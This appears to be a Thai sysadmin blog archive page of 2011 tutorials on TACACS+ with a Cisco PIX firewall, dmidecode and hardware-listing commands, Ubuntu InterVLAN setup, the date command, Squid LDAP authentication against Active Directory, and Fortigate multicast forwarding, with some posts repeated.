Server# /usr/local/etc/rc.d/tac_plus restart
Stopping tac_plus.
Starting tac_plus.
ตรวจสอบว่า Service ทำงานแล้ว
Server# netstat -anL
Proto Listen Local Address
tcp4 0/0/128 *.49
ต่อไปทำการเพิ่ม Configuration บน Cisco PIX-525
- กำหนดค่า parameter เบื้องต้นเกี่ยวกับ TACACS+ Server
aaa-server aaa-172.17.12.54 protocol tacacs+
aaa-server aaa-172.17.12.54 (inside) host 172.17.12.54
timeout 30
key authen_by_komkit
- นำค่าที่กำหนดไว้มาใช้งานกับ SSH
aaa authentication ssh console aaa-172.17.12.54
จากนั้นทดสอบการ remote ไปยัง Cisco Firewall โดยผ่าน SSH
login as: cisco
cisco@172.17.12.5's password: 3Com <--- ขณะที่พิมพ์จะมองไม่เห็น
Type help or '?' for a list of available commands.
pixfirewall>
หากมีการพยายามเข้าถึง แต่ไม่มี Username นั้นๆ หรือใส่ Password ผิด จะเกิด Log ที่ TACACS+ Server ดังนี้
Jul 14 19:53:19 Server tac_plus[1054]: login failure: root 172.17.12.5 (172.17.12.5) 5
Jul 14 19:53:26 Server tac_plus[1055]: login failure: cisco 172.17.12.5 (172.17.12.5) 6
หลังจากทดสอบว่าสามารถใช้งานได้แล้ว ก็ทำการ save config ของ Cisco Firewall ให้เรียบร้อย
คำสั่งอื่นๆ ที่น่าสนใจ
pixfirewall# show aaa-server aaa-172.17.12.54
Server Group: aaa-172.17.12.54
Server Protocol: tacacs+
Server Address: 172.17.12.54
Server port: 49
Server status: ACTIVE, Last transaction at 13:16:40 UTC Thu Jul 14 2011
Number of pending requests 0
Average round trip time 0ms
Number of authentication requests 8
Number of authorization requests 0
Number of accounting requests 0
Number of retransmissions 0
Number of accepts 4
Number of rejects 4
Number of challenges 1
Number of malformed responses 0
Number of bad authenticators 0
Number of timeouts 0
Number of unrecognized responses 0
วันจันทร์ที่ 20 มิถุนายน พ.ศ. 2554
Linux: ตรจสอบ CPU, RAM และ Hardware อื่นๆ บน Linux ด้วย dmidecode
จากที่เครื่องเขียนเรื่องการตรวจสอบ Serial No. ของเครื่องด้วยคำสั่ง dmidecode ไว้ที่ http://khamsawat.blogspot.com/2010/08/serial-number-service-tag-server.html
วันนี้ลองมาต่อว่า dmidecode ให้ข้อมูลอะไรเพิ่มเติมอีก
ระบบที่ใช้
Ubuntu 9.10
คำสั่งที่ใช้
Linux# dmidecode
ตัดออกมาเฉพาะ Output ที่สนใจ
- System Information
Manufacturer: Dell Computer Corporation
Product Name: PowerEdge 860
Serial Number: 2XXXXXS
- Processor Information
Socket Designation: PROC
Type: Central Processor
Family: Pentium D
Manufacturer: Intel
Version: Intel(R) Pentium(R) D CPU 3.00GHz
Voltage: 1.5 V
External Clock: 800 MHz
Max Speed: 3800 MHz
Current Speed: 3000 MHz
Status: Populated, Enabled
Upgrade: Socket LGA775
L1 Cache Handle: 0x0700
L2 Cache Handle: 0x0701
L3 Cache Handle: 0x0702
Serial Number: Not Specified
Asset Tag: Not Specified
Part Number: Not Specified
Core Count: 2
Core Enabled: 2
Thread Count: 2
Characteristics:
64-bit capable
- Onboard devices
On Board Device 1 Information
Type: Video
Status: Enabled
Description: Embedded ATI ES1000 Video
On Board Device 2 Information
Type: Ethernet
Status: Enabled
Description: Broadcom 5721J Ethernet
On Board Device 3 Information
Type: Ethernet
Status: Enabled
Description: Broadcom 5721J Ethernet
- RAM type
Physical Memory Array
Location: System Board Or Motherboard
Use: System Memory
Error Correction Type: Single-bit ECC
Maximum Capacity: 8 GB
Error Information Handle: Not Provided
Number Of Devices: 4
Handle 0x1100, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x1000
Error Information Handle: Not Provided
Total Width: 72 bits
Data Width: 64 bits
Size: 1024 MB
Form Factor: DIMM
Set: 1
Locator: DIMM1_A
Bank Locator: Not Specified
Type: DDR2
Type Detail: Synchronous
Speed: 533 MHz (1.9 ns)
Manufacturer: 7F7F7F0B00000000
Serial Number: A7530E19
Asset Tag: 0D0702
Part Number: NT1GT72U8PA0BY-37B
วันนี้ลองมาต่อว่า dmidecode ให้ข้อมูลอะไรเพิ่มเติมอีก
ระบบที่ใช้
Ubuntu 9.10
คำสั่งที่ใช้
Linux# dmidecode
ตัดออกมาเฉพาะ Output ที่สนใจ
- System Information
Manufacturer: Dell Computer Corporation
Product Name: PowerEdge 860
Serial Number: 2XXXXXS
- Processor Information
Socket Designation: PROC
Type: Central Processor
Family: Pentium D
Manufacturer: Intel
Version: Intel(R) Pentium(R) D CPU 3.00GHz
Voltage: 1.5 V
External Clock: 800 MHz
Max Speed: 3800 MHz
Current Speed: 3000 MHz
Status: Populated, Enabled
Upgrade: Socket LGA775
L1 Cache Handle: 0x0700
L2 Cache Handle: 0x0701
L3 Cache Handle: 0x0702
Serial Number: Not Specified
Asset Tag: Not Specified
Part Number: Not Specified
Core Count: 2
Core Enabled: 2
Thread Count: 2
Characteristics:
64-bit capable
- Onboard devices
On Board Device 1 Information
Type: Video
Status: Enabled
Description: Embedded ATI ES1000 Video
On Board Device 2 Information
Type: Ethernet
Status: Enabled
Description: Broadcom 5721J Ethernet
On Board Device 3 Information
Type: Ethernet
Status: Enabled
Description: Broadcom 5721J Ethernet
- RAM type
Physical Memory Array
Location: System Board Or Motherboard
Use: System Memory
Error Correction Type: Single-bit ECC
Maximum Capacity: 8 GB
Error Information Handle: Not Provided
Number Of Devices: 4
Handle 0x1100, DMI type 17, 27 bytes
Memory Device
Array Handle: 0x1000
Error Information Handle: Not Provided
Total Width: 72 bits
Data Width: 64 bits
Size: 1024 MB
Form Factor: DIMM
Set: 1
Locator: DIMM1_A
Bank Locator: Not Specified
Type: DDR2
Type Detail: Synchronous
Speed: 533 MHz (1.9 ns)
Manufacturer: 7F7F7F0B00000000
Serial Number: A7530E19
Asset Tag: 0D0702
Part Number: NT1GT72U8PA0BY-37B
วันศุกร์ที่ 20 พฤษภาคม พ.ศ. 2554
Network, Linux : การทำ InterVLAN บน Ubuntu
บทความนี้จะเป็นการนำ Ubuntu Linux มาทำเป็น InterVLAN แทนที่จะใช้อุปกรณ์ Router หรือ Multilayer switch
ระบบทดสอบ
Switch ที่ใช้ในการแบ่ง VLAN
Cisco Catalyst 2900 XL
IOS Version 12.0(5)XU
Server Linux ที่ใช้มาทำ InterVLAN
Ubuntu 10.04.2 LTS amd64
กำหนดให้
- Interface FastEthernet0/24 ของ Switch เป็น Trunk และเชื่อมต่อเข้ากับ eth1 ของ Server
- สร้าง VLAN100 และ VLAN200 ที่ Switch
- กำหนด Interface FastEthernet0/1 ของ Switch ให้เป็นสมาชิก VLAN100
- กำหนด Interface FastEthernet0/2 ของ Switch ให้เป็นสมาชิก VLAN200
- กำหนด Subnet ของ VLAN100 คือ 192.168.100.0/24
- กำหนด Subnet ของ VLAN200 คือ 192.168.200.0/24
โดย Configuration บน Switch เป็นดังนี้
!
interface FastEthernet0/1
switchport access vlan 100
!
interface FastEthernet0/2
switchport access vlan 200
!
interface FastEthernet0/24
switchport trunk encapsulation dot1q
switchport mode trunk
!
ที่ Server ติดตั้ง Software เพิ่มดังนี้
root@Ubunutu# apt-get install vlan
root@Ubunutu# modprobe 8021q
แก้ไขไฟล์ /etc/network/interfaces โดยเพิ่ม
auto vlan100
iface vlan100 inet static
address 192.168.100.1
netmask 255.255.255.0
vlan_raw_device eth1
auto vlan200
iface vlan200 inet static
address 192.168.200.1
netmask 255.255.255.0
vlan_raw_device eth1
บันทึกไฟล์ จากนั้นทำการ restart network service
root@Ubuntu:~# /etc/init.d/networking restart
* Reconfiguring network
Set name-type for VLAN subsystem. Should be visible in /proc/net/vlan/config
Added VLAN with VID == 100 to IF -:eth1:-
Set name-type for VLAN subsystem. Should be visible in /proc/net/vlan/config
Added VLAN with VID == 200 to IF -:eth1:- [ OK ]
ตรวจสอบ Interface VLAN
root@Ubuntu:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:14:22:17:e7:b8
inet6 addr: fe80::214:22ff:fe17:e7b8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13932 errors:0 dropped:0 overruns:0 frame:0
TX packets:13946 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:2242272 (2.2 MB) TX bytes:10921868 (10.9 MB)
vlan100 Link encap:Ethernet HWaddr 00:14:22:17:e7:b8
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::214:22ff:fe17:e7b8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:468 (468.0 B)
vlan200 Link encap:Ethernet HWaddr 00:14:22:17:e7:b8
inet addr:192.168.200.1 Bcast:192.168.200.255 Mask:255.255.255.0
inet6 addr: fe80::214:22ff:fe17:e7b8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:713 errors:0 dropped:0 overruns:0 frame:0
TX packets:835 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:141274 (141.2 KB) TX bytes:685933 (685.9 KB)
Ref. http://www.mysidenotes.com/2007/08/17/vlan-configuration-on-ubuntu-debian/
ระบบทดสอบ
Switch ที่ใช้ในการแบ่ง VLAN
Cisco Catalyst 2900 XL
IOS Version 12.0(5)XU
Server Linux ที่ใช้มาทำ InterVLAN
Ubuntu 10.04.2 LTS amd64
กำหนดให้
- Interface FastEthernet0/24 ของ Switch เป็น Trunk และเชื่อมต่อเข้ากับ eth1 ของ Server
- สร้าง VLAN100 และ VLAN200 ที่ Switch
- กำหนด Interface FastEthernet0/1 ของ Switch ให้เป็นสมาชิก VLAN100
- กำหนด Interface FastEthernet0/2 ของ Switch ให้เป็นสมาชิก VLAN200
- กำหนด Subnet ของ VLAN100 คือ 192.168.100.0/24
- กำหนด Subnet ของ VLAN200 คือ 192.168.200.0/24
โดย Configuration บน Switch เป็นดังนี้
!
interface FastEthernet0/1
switchport access vlan 100
!
interface FastEthernet0/2
switchport access vlan 200
!
interface FastEthernet0/24
switchport trunk encapsulation dot1q
switchport mode trunk
!
ที่ Server ติดตั้ง Software เพิ่มดังนี้
root@Ubunutu# apt-get install vlan
root@Ubunutu# modprobe 8021q
แก้ไขไฟล์ /etc/network/interfaces โดยเพิ่ม
auto vlan100
iface vlan100 inet static
address 192.168.100.1
netmask 255.255.255.0
vlan_raw_device eth1
auto vlan200
iface vlan200 inet static
address 192.168.200.1
netmask 255.255.255.0
vlan_raw_device eth1
บันทึกไฟล์ จากนั้นทำการ restart network service
root@Ubuntu:~# /etc/init.d/networking restart
* Reconfiguring network
Set name-type for VLAN subsystem. Should be visible in /proc/net/vlan/config
Added VLAN with VID == 100 to IF -:eth1:-
Set name-type for VLAN subsystem. Should be visible in /proc/net/vlan/config
Added VLAN with VID == 200 to IF -:eth1:- [ OK ]
ตรวจสอบ Interface VLAN
root@Ubuntu:~# ifconfig
eth1 Link encap:Ethernet HWaddr 00:14:22:17:e7:b8
inet6 addr: fe80::214:22ff:fe17:e7b8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:13932 errors:0 dropped:0 overruns:0 frame:0
TX packets:13946 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:2242272 (2.2 MB) TX bytes:10921868 (10.9 MB)
vlan100 Link encap:Ethernet HWaddr 00:14:22:17:e7:b8
inet addr:192.168.100.1 Bcast:192.168.100.255 Mask:255.255.255.0
inet6 addr: fe80::214:22ff:fe17:e7b8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:468 (468.0 B)
vlan200 Link encap:Ethernet HWaddr 00:14:22:17:e7:b8
inet addr:192.168.200.1 Bcast:192.168.200.255 Mask:255.255.255.0
inet6 addr: fe80::214:22ff:fe17:e7b8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:713 errors:0 dropped:0 overruns:0 frame:0
TX packets:835 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:141274 (141.2 KB) TX bytes:685933 (685.9 KB)
Ref. http://www.mysidenotes.com/2007/08/17/vlan-configuration-on-ubuntu-debian/
วันศุกร์ที่ 8 เมษายน พ.ศ. 2554
FreeBSD, Linux: คำสั่ง date กับการประยุกต์ใช้งาน ภาคต่อ
จากที่เคยเขียนไว้ที่ http://khamsawat.blogspot.com/2010/08/linux-date.html
วันนี้จะมาต่อภาคสอง โดยจะเพิ่มการแปลงรูปแบบของวันที่ และการใช้งานคำสั่ง date บน FreeBSD ซึ่งมี Syntax ต่างจากบน Linux นิดหน่อย ทั้งนี้จะไม่เขียนถึงการ set วันที่ผ่านคำสั่ง date โดยแนะนำให้ทำการ set ค่าวันและเวลาผ่าน ntpdate จะดีกว่า
หมายเหตุ อาจมีบางส่วนที่ซ้ำกับบทความเดิมนิดหน่อย
ระบบที่ใช้
OS: FreeBSD 8.2 Release amd64
OS: Ubuntu 9.10 i386
- แสดงวันเวลาปัจจุบัน
FreeBSD# date
Fri Apr 8 16:12:51 ICT 2011
komkit@Linux:~$ date
Fri Apr 8 16:13:08 ICT 2011
- แสดงวันเวลาปัจจุบันในรูปแบบของ Epoch Time
FreeBSD# date +%s
1302254637
komkit@Linux:~$ date +%s
1302254649
- แสดงวันที่ปัจจุบันในรูปแบบ YYY-MM-DD
FreeBSD# date +%F
2011-04-08
komkit@Linux:~$ date +%F
2011-04-08
- แสดงวันที่ของเมื่อวานพร้อมเวลาที่ตรงกับเวลานี้
FreeBSD# date -v-1d
Thu Apr 7 16:26:16 ICT 2011
komkit@Linux:~$ date --date="yesterday"
Thu Apr 7 16:26:55 ICT 2011
- แสดงเฉพาะวันที่ของเมื่อวานในรูปแบบ YYYY-MM-DD
FreeBSD# date -v-1d +%F
2011-04-07
komkit@Linux:~$ date --date="yesterday" +%F
2011-04-07
- แสดงเฉพาะวันที่ของ 10 วันที่แล้วในรูปแบบของ YYYY-MM-DD
FreeBSD# date -v-10d +%F
2011-03-29
komkit@Linux:~$ date --date="10 day ago" +%F
2011-03-29
- แสดงเฉพาะวันที่ของพรุ่งนี้ ในรูปแบบของ YYYY-MM-DD
FreeBSD# date -v+1d +%F
2011-04-09
komkit@moccona:~$ date --date="tomorrow" +%F
2011-04-09
- แสดงเฉพาะวันที่ของอีก 12 วันข้างหน้า ในรูปแบบของ YYYY-MM-DD
FreeBSD# date -v+12d +%F
2011-04-20
komkit@Linux:~$ date --date="12 day" +%F
2011-04-20
- การแปลงรูปแบบวันที่จาก Epoch Time เป็นแบบที่อ่านง่าย (กำหนดเวลา epoch คือ 1302254637)
komkit@Linux:~$ date -d @1302254637
Fri Apr 8 16:23:57 ICT 2011
FreeBSD# perl -e "print scalar(localtime(1302254637))"
Fri Apr 8 16:23:57 2011
- การแปลงรูปแบบวันที่จากรูปแบบ YYYY-MM-DD HH:MM:SS ไปเป็น Epoch
komkit@Linux:~$ date +%s -d"2011-04-08 12:34:56"
1302240896
FreeBSD# date -j -f '%Y-%m-%d %H:%M:%S' '2011-04-08 12:34:56' +%s
1302240896
วันศุกร์ที่ 1 เมษายน พ.ศ. 2554
FreeBSD, Linux, Mac OS : ตรวจสอบรายการ Hardware
ถ้าเป็นเป็นบน MS Windows ก็ Device Manager ส่วนการตรวจสอบรายการ Hardware บน Linux, FreeBSD และ Mac OS เบื้องต้นนั้นทำได้ดังนี้
FreeBSD: (ระบบที่ใช้ FreeBSD 7.1)
- แสดงรุ่น CPU
$ sysctl hw.model
hw.model: Intel(R) Xeon(R) CPU E5410 @ 2.33GHz
- แสดงจำนวน CPU Core
$ sysctl hw.ncpu
hw.ncpu: 8
- แสดงขนาดความจุของ RAM
$ sysctl hw.physmem
hw.physmem: 8571633664 (มีหน่วยเป็น Bytes)
สังเกตุว่าจะขึ้นต้นด้วย hw. เหมือนกัน ดังนั้นสามารถใช้คำสั่งเดียวได้เลยคือ
$ sysctl hw. | more
- ดูรายการ Hardware อื่นๆ เช่น VGA Card, Ethernet Card, Raid Controller เป็นต้น
$ pciconf -lv | more
ตัวอย่าง Output บางส่วน
mfi0@pci0:1:0:0: class=0x010400 card=0x1f0c1028 chip=0x00601000 rev=0x04 hdr=0x00
vendor = 'LSI Logic (Was: Symbios Logic, NCR)'
device = 'SAS1078 PCI-X Fusion-MPT SAS'
class = mass storage
subclass = RAID
pcib13@pci0:2:0:0: class=0x060400 card=0x00000000 chip=0x01031166 rev=0xc3 hdr=0x01
vendor = 'ServerWorks (Was: Reliance Computer Corp)'
device = 'BCM5715 Broadcom dual gigabit, pci bridge'
class = bridge
subclass = PCI-PCI
bce1@pci0:3:0:0: class=0x020000 card=0x01b31028 chip=0x164c14e4 rev=0x12 hdr=0x00
vendor = 'Broadcom Corporation'
device = '5708C Broadcom NetXtreme II Gigabit Ethernet Adapter'
class = network
subclass = ethernet
vgapci0@pci0:14:13:0: class=0x030000 card=0x01b31028 chip=0x515e1002 rev=0x02 hdr=0x00
vendor = 'ATI Technologies Inc'
device = 'Radeon ES1000 Radeon ES1000'
class = display
subclass = VGA
Linux: (ระบบที่ใช้ Ubuntu 8.04)
- แสดงรุ่น CPU
komkit@Linux:~$ cat /proc/cpuinfo
ตัวอย่าง Output
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Xeon(R) CPU E5410 @ 2.33GHz
stepping : 6
cpu MHz : 2327.499
cache size : 6144 KB
physical id : 0
siblings : 4
core id : 0
cpu cores : 4
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr dca sse4_1 lahf_lm
bogomips : 4654.99
clflush size : 64
cache_alignment : 64
address sizes : 38 bits physical, 48 bits virtual
power management:
- แสดงขนาดความจุของ RAM
komkit@Linux:~$ free -m
total used free shared buffers cached
Mem: 7994 5253 2741 0 5 5151
-/+ buffers/cache: 96 7898
Swap: 7632 0 7632
หรือ
komkit@Linux:~$ cat /proc/meminfo
MemTotal: 8186400 kB
MemFree: 2806968 kB
...
- ดูรายการ Hardware อื่นๆ เช่น VGA Card, Ethernet Card, Raid Controller เป็นต้น
komkit@Linux:~$ lspci
01:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 1078 (rev 04)
07:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5708 Gigabit Ethernet (rev 12)
0a:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 1078 (rev 04)
0e:0d.0 VGA compatible controller: ATI Technologies Inc ES1000 (rev 02)
- ดูรายการ Hardware ที่เชื่อมต่อกับ USB
komkit@Linux:~$ lsusb
Bus 005 Device 002: ID 04b4:6560 Cypress Semiconductor Corp. CY7C65640 USB-2.0 "TetraHub"
Bus 005 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
Mac OS:
$
FreeBSD: (ระบบที่ใช้ FreeBSD 7.1)
- แสดงรุ่น CPU
$ sysctl hw.model
hw.model: Intel(R) Xeon(R) CPU E5410 @ 2.33GHz
- แสดงจำนวน CPU Core
$ sysctl hw.ncpu
hw.ncpu: 8
- แสดงขนาดความจุของ RAM
$ sysctl hw.physmem
hw.physmem: 8571633664 (มีหน่วยเป็น Bytes)
สังเกตุว่าจะขึ้นต้นด้วย hw. เหมือนกัน ดังนั้นสามารถใช้คำสั่งเดียวได้เลยคือ
$ sysctl hw. | more
- ดูรายการ Hardware อื่นๆ เช่น VGA Card, Ethernet Card, Raid Controller เป็นต้น
$ pciconf -lv | more
ตัวอย่าง Output บางส่วน
mfi0@pci0:1:0:0: class=0x010400 card=0x1f0c1028 chip=0x00601000 rev=0x04 hdr=0x00
vendor = 'LSI Logic (Was: Symbios Logic, NCR)'
device = 'SAS1078 PCI-X Fusion-MPT SAS'
class = mass storage
subclass = RAID
pcib13@pci0:2:0:0: class=0x060400 card=0x00000000 chip=0x01031166 rev=0xc3 hdr=0x01
vendor = 'ServerWorks (Was: Reliance Computer Corp)'
device = 'BCM5715 Broadcom dual gigabit, pci bridge'
class = bridge
subclass = PCI-PCI
bce1@pci0:3:0:0: class=0x020000 card=0x01b31028 chip=0x164c14e4 rev=0x12 hdr=0x00
vendor = 'Broadcom Corporation'
device = '5708C Broadcom NetXtreme II Gigabit Ethernet Adapter'
class = network
subclass = ethernet
vgapci0@pci0:14:13:0: class=0x030000 card=0x01b31028 chip=0x515e1002 rev=0x02 hdr=0x00
vendor = 'ATI Technologies Inc'
device = 'Radeon ES1000 Radeon ES1000'
class = display
subclass = VGA
Linux: (ระบบที่ใช้ Ubuntu 8.04)
- แสดงรุ่น CPU
komkit@Linux:~$ cat /proc/cpuinfo
ตัวอย่าง Output
processor : 0
vendor_id : GenuineIntel
cpu family : 6
model : 23
model name : Intel(R) Xeon(R) CPU E5410 @ 2.33GHz
stepping : 6
cpu MHz : 2327.499
cache size : 6144 KB
physical id : 0
siblings : 4
core id : 0
cpu cores : 4
fpu : yes
fpu_exception : yes
cpuid level : 10
wp : yes
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good pni monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr dca sse4_1 lahf_lm
bogomips : 4654.99
clflush size : 64
cache_alignment : 64
address sizes : 38 bits physical, 48 bits virtual
power management:
- แสดงขนาดความจุของ RAM
komkit@Linux:~$ free -m
total used free shared buffers cached
Mem: 7994 5253 2741 0 5 5151
-/+ buffers/cache: 96 7898
Swap: 7632 0 7632
หรือ
komkit@Linux:~$ cat /proc/meminfo
MemTotal: 8186400 kB
MemFree: 2806968 kB
...
- ดูรายการ Hardware อื่นๆ เช่น VGA Card, Ethernet Card, Raid Controller เป็นต้น
komkit@Linux:~$ lspci
01:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 1078 (rev 04)
07:00.0 Ethernet controller: Broadcom Corporation NetXtreme II BCM5708 Gigabit Ethernet (rev 12)
0a:00.0 RAID bus controller: LSI Logic / Symbios Logic MegaRAID SAS 1078 (rev 04)
0e:0d.0 VGA compatible controller: ATI Technologies Inc ES1000 (rev 02)
- ดูรายการ Hardware ที่เชื่อมต่อกับ USB
komkit@Linux:~$ lsusb
Bus 005 Device 002: ID 04b4:6560 Cypress Semiconductor Corp. CY7C65640 USB-2.0 "TetraHub"
Bus 005 Device 001: ID 0000:0000
Bus 004 Device 001: ID 0000:0000
Bus 003 Device 001: ID 0000:0000
Bus 002 Device 001: ID 0000:0000
Bus 001 Device 001: ID 0000:0000
Mac OS:
$
system_profiler | more
วันอาทิตย์ที่ 27 มีนาคม พ.ศ. 2554
Squid Proxy Authentication with Active Directory
ระบบที่ใช้ทดสอบ
Proxy Server
OS : FreeBSD 8.2 amd64
Squid Proxy version 3.1
IP address : 192.168.12.200
AD Server
OS : Microsoft Windows 2003 Server R2
IP address : 192.168.12.201
Client
OS : Microsoft Windows 7 Professional 64 bit
Web browser : Firefox 4 , IE9
IP address : 192.168.12.51
ข้อกำหนดเบื้องต้น
Domain ของระบบทดสอบคือ ad.komkit.net
ติดตั้ง AD Server ให้เรียบร้อย (ผมติดตั้งแบบมั่วสุดๆ)
ติดตั้ง FreeBSD 8.2 ตามปกติ เมื่อเสร็จแล้วจึงทำการติดตั้ง Squid Proxy ดังนี้
proxy-test# cd /usr/ports/www/squid31
proxy-test# make install
โดย Options ที่เลือกเพิ่มเติมคือ
SQUID_LDAP_AUTH
จากนั้นก็ OK อย่างเดียว รอจนกระทั่งเสร็จ
เมื่อเสร็จแล้ว เพิ่ม Configuration ของ squid ดังนี้
### ส่วนของการติดต่อกับ AD Server
auth_param basic program /usr/local/libexec/squid/squid_ldap_auth -R \
-b "dc=ad,dc=komkit,dc=net" \
-D "cn=Administrator,cn=Users,dc=ad,dc=komkit,dc=net" \
-w "Administrator-password" \
-f sAMAccountName=%s \
-h 192.168.12.201
auth_param basic children 5
auth_param basic realm KOMKIT.NET Corp.
auth_param basic credentialsttl 5 minutes
### กำหนด acl เพื่อให้มีการใช้งานการ Authen
acl adusers proxy_auth REQUIRED
### กำหนดการอนุญาตการใช้งานโดยให้ใช้การ Authen ผ่าน AD
http_access allow adusers
และทำ Configure ในส่วนอื่นๆ ตามความเหมาะ จากนั้น save configure แล้วสั่งให้ squid ทำงาน
proxy-test# /usr/local/etc/rc.d/squid start
ตรวจสอบ Log การใช้งาน
proxy-test# cat /var/log/squid/access.log
192.168.12.51 - komkit [28/Mar/2011:13:52:49 +0700] "GET http://khamsawat.blogspot.com/ HTTP/1.1" 200 18535 TCP_MISS:DIRECT
จาก log จะเห็นว่ามีการระบุ Username มาแล้ว ซึ่ง User ดังกล่าวผมกำหนดไว้ที่ AD Server
ข้อมูลอ้างอิงจาก
http://www.papercut.com/kb/Main/ConfiguringSquidProxyToAuthenticateWithActiveDirectory
Proxy Server
OS : FreeBSD 8.2 amd64
Squid Proxy version 3.1
IP address : 192.168.12.200
AD Server
OS : Microsoft Windows 2003 Server R2
IP address : 192.168.12.201
Client
OS : Microsoft Windows 7 Professional 64 bit
Web browser : Firefox 4 , IE9
IP address : 192.168.12.51
ข้อกำหนดเบื้องต้น
Domain ของระบบทดสอบคือ ad.komkit.net
ติดตั้ง AD Server ให้เรียบร้อย (ผมติดตั้งแบบมั่วสุดๆ)
ติดตั้ง FreeBSD 8.2 ตามปกติ เมื่อเสร็จแล้วจึงทำการติดตั้ง Squid Proxy ดังนี้
proxy-test# cd /usr/ports/www/squid31
proxy-test# make install
โดย Options ที่เลือกเพิ่มเติมคือ
SQUID_LDAP_AUTH
จากนั้นก็ OK อย่างเดียว รอจนกระทั่งเสร็จ
เมื่อเสร็จแล้ว เพิ่ม Configuration ของ squid ดังนี้
### ส่วนของการติดต่อกับ AD Server
auth_param basic program /usr/local/libexec/squid/squid_ldap_auth -R \
-b "dc=ad,dc=komkit,dc=net" \
-D "cn=Administrator,cn=Users,dc=ad,dc=komkit,dc=net" \
-w "Administrator-password" \
-f sAMAccountName=%s \
-h 192.168.12.201
auth_param basic children 5
auth_param basic realm KOMKIT.NET Corp.
auth_param basic credentialsttl 5 minutes
### กำหนด acl เพื่อให้มีการใช้งานการ Authen
acl adusers proxy_auth REQUIRED
### กำหนดการอนุญาตการใช้งานโดยให้ใช้การ Authen ผ่าน AD
http_access allow adusers
และทำ Configure ในส่วนอื่นๆ ตามความเหมาะ จากนั้น save configure แล้วสั่งให้ squid ทำงาน
proxy-test# /usr/local/etc/rc.d/squid start
ตรวจสอบ Log การใช้งาน
proxy-test# cat /var/log/squid/access.log
192.168.12.51 - komkit [28/Mar/2011:13:52:49 +0700] "GET http://khamsawat.blogspot.com/ HTTP/1.1" 200 18535 TCP_MISS:DIRECT
จาก log จะเห็นว่ามีการระบุ Username มาแล้ว ซึ่ง User ดังกล่าวผมกำหนดไว้ที่ AD Server
ข้อมูลอ้างอิงจาก
http://www.papercut.com/kb/Main/ConfiguringSquidProxyToAuthenticateWithActiveDirectory
วันศุกร์ที่ 4 กุมภาพันธ์ พ.ศ. 2554
Network, Fortigate Firewall : Enable multicast address forwarding on Fortigate Firewall
จากโจทย์วันนี้คือ ทำการเปิดการใช้งาน OSPF โดย Router ที่ run OSPF ทั้งสองตัวจะถูก Firewall ขวางอยู่ในรูปแบบ Transparent mode ดังนี้
Router1 <---> Transparent FW <---> Router2
ทั้งนี้ปัญหาที่พบคือ แม้จะเปิด Firewall policy เป็น any to any แล้วก็ตาม Routing OSPF ก็ยังไม่สามารถส่งผ่าน Firewall ไปได้ เนื่องจาก OSPF จะประกาศ Route ผ่าน Multicast address
การแก้ไข ต้องทำใน command mode ของ Fortigate ดังนี้ (หาวิธีใน GUI ไม่เจอ)
อุปกรณ์ที่ใช้
Firewall : Fortigate 3016B
FG3016-B # config system settings
FG3016-B (settings) # set multicast-skip-policy enable
FG3016-B (settings) # end
FG3016-B #
จากนั้นตรวจสอบ Routing table ใน Router ทั้งสองพบว่ามี OSPF package มาเป็นปกติ
Router1 <---> Transparent FW <---> Router2
ทั้งนี้ปัญหาที่พบคือ แม้จะเปิด Firewall policy เป็น any to any แล้วก็ตาม Routing OSPF ก็ยังไม่สามารถส่งผ่าน Firewall ไปได้ เนื่องจาก OSPF จะประกาศ Route ผ่าน Multicast address
การแก้ไข ต้องทำใน command mode ของ Fortigate ดังนี้ (หาวิธีใน GUI ไม่เจอ)
อุปกรณ์ที่ใช้
Firewall : Fortigate 3016B
FG3016-B # config system settings
FG3016-B (settings) # set multicast-skip-policy enable
FG3016-B (settings) # end
FG3016-B #
จากนั้นตรวจสอบ Routing table ใน Router ทั้งสองพบว่ามี OSPF package มาเป็นปกติ
วันศุกร์ที่ 21 มกราคม พ.ศ. 2554
Linux: ตัวอย่างการใช้งานคำสั่ง cut
ตัวอย่างข้อมูลที่ได้มา
192.168.11.12
- ต้องการแสดงผลเฉพาะ 3 ตัวอักษรแรก
